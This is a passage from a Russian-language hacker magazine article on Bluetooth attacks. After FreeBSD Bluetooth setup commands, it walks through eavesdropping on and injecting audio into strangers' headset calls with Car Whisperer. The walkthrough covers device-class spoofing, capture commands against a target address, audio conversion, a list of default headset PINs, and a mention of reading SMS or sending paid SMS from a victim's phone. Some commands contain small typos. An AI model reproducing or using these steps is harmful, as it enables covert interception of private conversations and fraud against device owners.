, что программисты просто обходили эту платформу стороной. Этим объясняется, что большинство программ для серьезных забав c «синим зубом» разрабатываются под никсовую платформу.
Некоторые из хитрых приемов мы разберем именно на это платформе, а именно FreeBSD
(напомню, что на диске прошлого номера мы выкладывали свежий 7.0 релиз этой ОС). Сама технология Bluetooth
официально стала поддерживаться на ней только с 5-ой ветки на базе подсистемы Netgraph.
- Подключаем устройство: kldload ng_ubt
- Копируем сценарий подгрузки стека в удобное место: cp /usr/share/examples/netgraph/bluetooth/rc.bluetooth /usr/local/etc/rc.bluetooth
- Копируем сценарий подгрузки стека в удобное место и запускаем: sh /usr/local/etc/rc.bluetoots start ubt0
Теперь хочу познакомить тебя с утилитой hccontrol. Это одна из основных программ для работы с BT-модулем. Именно она выполняет все операции, связанные с интерфейсом HCI, и имеет следующий синтаксис: hccontrol –n . Проверим функциональность нашего устройства, просканиров эфир на наличие устройств:
hccontrol –n ubt0hci Inquiry
Как результат, утилита выведет информацию о найденных устройствах, в том числе их MAC-адреса. Надо заметить, что каждое из устройств Bluetooth, будь то хедсет или обыкновенный телефон, представляет некоторый набор сервисов
.
Базовый перечень включает в себя: CIP (Common ISDN Access), CTP (Cordless Telephony), DUN (dial-up networking), FAX (FAX), FTRN (Obex File Transwer), HSET (Headset), NAP (Network Access Point). Чтобы выяснить, какие сервисы предоставляет то или иное устройство, используется запрос на специальном протоколе SPD (Service Descovery Protocol).
# spdcontrol -a browse
Трюк 6: перехватываем из эфира разговоры по гарнитуре
Одна из основных угроз радиотехнологий состоит в том, что данные можно перехватить. Первое, что приходит в голову, касаемо Bluetooth – прослушать разговоры людей, использующих гарнитуру. И зачастую это реально! На хакерском фестивале What the Hack в Нидерландах специалисты из группы Trifinite продемонстрировали, как при помощи ноутбука с Linux, специальной программы и направленной антенны можно подслушать, о чем говорит через Bluetooth-гарнитуру водитель проезжающего автомобиля.
Группа разработала программу Car Whisperer («Автомобильный шептун»). Возможности программы относительно невелики: прослушать можно только тех, кто забыл сменить заводские пароли доступа к Bluetooth наподобие«0000» или «1234». Но таких бедолаг, поверь, очень и очень много!
«Шептун» способен вклиниться и успешно пройти «pairing» устройств, получив информацию, передаваемую с каркита или хедсета на мобилку. Хочу обратить внимание: утилита позволяет не только получить информацию, передающуюся между хедсетом и мобилой, но и инжектить туда свою. Мы решили проверить возможности этой программы, скачав Car Whisperer с сайта разработчиков.
Перед началом операции рекомендуется изменить класс своего устройства, особенно если программа будет использоваться с компьютера:
hciconfig адаптер class 0x500204# 0x500204 – это класс «phone»
В противном случае некоторые «умные» девайсы могут заподозрить неладное. Смотрим синтаксис утилиты, который выглядит следующим образом:
./carwhisperer «что внедряем в линию» «что захватываем из линии» «адрес устройства» [канал]
Мы взяли внедряемый файл прямо из папки утилиты, а в качестве выходного указали out.raw:
./carwhisperer 0 message.raw /tmp/out.raw00:15:0E:91:19:73
На выходе получаем файл out.raw. Прослушать его в чистом виде нельзя: необходимо преобразовать в аудио формат, для чего потребуется дополнительная утилита. Подойдут довольно многие аудио конвертеры, например SoX:
raw –r 8000 –c 1 –s –w out.raw –t wav –r 44100 –c 2 out.wav
Кроме прослушивания, можно войти в систему, просмотреть телефонную книгу и воспользоваться другими возможностями «свободных рук» с Bluetooth. Принцип такой: сначала осуществляется поиск активных устройств и проверка на предмет сервиса HS (Head Set). Далее исследуется MAC-адрес устройства и производится попытка подключения с использованием стандартного ключа. Если коннект установлен, то с устройством можно делать все, что угодно (в пределах доступного набора AT-команд).
На практике это выглядит следующим образом. Сначала осуществляется поиск всех активных гарнитур с помощью команды «sdptool search HS», которая выдает примерно такой ответ:
Inquiring …Searching for HS on 00:0A:3A:54:71:95 …Service Name: HeadsetService RecHandle: 0x10009Service Class ID List:”Headset” (0x1108)”Generic Audio” (0x1203)Protocol Descriptor List:”L2CAP” (0x0100)”RFCOMM” (0x0003)Channel:
Далее осуществляется попытка открыть RFCOMM соединение на SCO audio channel с помощью команды «rfcomm connect 2 00:0A:3A:54:71:95 1» и посылка нужных AT-команд. Приведу небольшую статистическую заметку о данных авторизации на некоторые модели беспроводных гарнитур:
Nokia (00:02:EE…) – pin=”5475″Audi UHV (00:0E:9F…) – pin=”1234″O’Neill (00:80:37…) – pin=”8761″Cellink (00:0A:94…) – pin=”1234″Eazix (00:0C:84…) – pin=”1234″
Кстати говоря, тот же принцип может использоваться для несанкционированного подключения и ко всем остальным устройствам. При помощи AT-команд и протокола RFCOMM можно, к примеру, прочитать SMS-сообщение или даже отправить его с чужого телефона на платный номер, поставив владельца девайса на деньги. Будь бдителен!